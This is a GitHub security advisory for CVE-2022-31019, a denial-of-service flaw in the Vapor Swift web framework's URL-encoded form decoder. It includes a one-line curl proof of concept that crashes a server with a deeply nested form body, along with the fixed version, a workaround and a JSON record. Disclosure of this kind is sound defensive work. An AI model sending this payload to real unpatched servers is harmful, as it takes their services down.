ghsa-qvxg-wjxc-r4gg
Vulnerability from github
Vapor is an HTTP web framework for Swift. Vapor versions earlier than 4.61.1 are vulnerable to a denial of service in the URLEncodedFormDecoder.
Impact
When using automatic content decoding, e.g.
swift
app.post("foo") { request -> String in
let foo = try request.content.decode(Foo.self)
return "\(foo)"
}
An attacker can craft a request body that can make the server crash with the following request:
curl -d "array[_0][0][array][_0][0][array]$(for f in $(seq 1100); do echo -n '[_0][0][array]'; done)[string][_0]=hello%20world" http://localhost:8080/foo
The issue is unbounded, attacker controlled stack growth which will at some point lead to a stack overflow.
Patches
Fixed in 4.61.1
Workarounds
If you don't need to decode Form URL Encoded data, you can disable the ContentConfiguration so it won't be used. E.g. in configure.swift
swift
var contentConfig = ContentConfiguration()
contentConfig.use(encoder: JSONEncoder.custom(dates: .iso8601), for: .json)
contentConfig.use(decoder: JSONDecoder.custom(dates: .iso8601), for: .json)
contentConfig.use(encoder: JSONEncoder.custom(dates: .iso8601), for: .jsonAPI)
contentConfig.use(decoder: JSONDecoder.custom(dates: .iso8601), for: .jsonAPI)
ContentConfiguration.global = contentConfig
For more information
If you have any questions or comments about this advisory: * Open an issue in the Vapor repo * Ask in Vapor Discord
{
"affected": [
{
"package": {
"ecosystem": "SwiftURL",
"name": "github.com/vapor/vapor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.61.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-31019"
],
"database_specific": {
"cwe_ids": [
"CWE-120",
"CWE-121",
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-07T16:11:16Z",
"nvd_published_at": "2022-06-09T13:15:00Z",
"severity": "HIGH"
},
"details": "Vapor is an HTTP web framework for Swift. Vapor versions earlier than 4.61.1 are vulnerable to a denial of service in the URLEncodedFormDecoder.\n\n### Impact\nWhen using automatic content decoding, e.g. \n\n```swift\napp.post(\"foo\") { request -\u003e String in\n let foo = try request.content.decode(Foo.self)\n return \"\\(foo)\"\n}\n```\n\nAn attacker can craft a request body that can make the server crash with the following request:\n\n```\ncurl -d \"array[_0][0][array][_0][0][array]$(for f in $(seq 1100); do echo -n \u0027[_0][0][array]\u0027; done)[string][_0]=hello%20world\" http://localhost:8080/foo\n```\n\nThe issue is unbounded, attacker controlled stack growth which will at some point lead to a stack overflow.\n\n### Patches\nFixed in 4.61.1\n\n### Workarounds\nIf you don\u0027t need to decode Form URL Encoded data, you can disable the `ContentConfiguration` so it won\u0027t be used. E.g. in **configure.swift**\n\n```swift\nvar contentConfig = ContentConfiguration()\ncontentConfig.use(encoder: JSONEncoder.custom(dates: .iso8601), for: .json)\ncontentConfig.use(decoder: JSONDecoder.custom(dates: .iso8601), for: .json)\ncontentConfig.use(encoder: JSONEncoder.custom(dates: .iso8601), for: .jsonAPI)\ncontentConfig.use(decoder: JSONDecoder.custom(dates: .iso8601), for: .jsonAPI)\nContentConfiguration.global = contentConfig\n```\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the Vapor repo](https://github.com/vapor/vapor)\n* Ask in [Vapor Discord](http://vapor.team)",
"id": "GHSA-qvxg-wjxc-r4gg",
"modified": "2023-06-07T16:11:16Z",
"published": "2023-06-07T16:11:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vapor/vapor/security/advisories/GHSA-qvxg-wjxc-r4gg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31019"
},
{
"type": "WEB",
"url": "https://github.com/vapor/vapor/commit/6c63226a4ab82ce53730eb1afb9ca63866fcf033"
},
{
"type": "PACKAGE",
"url": "https://github.com/vapor/vapor"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Vapor vulnerable to denial of service in URLEncodedFormDecoder"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.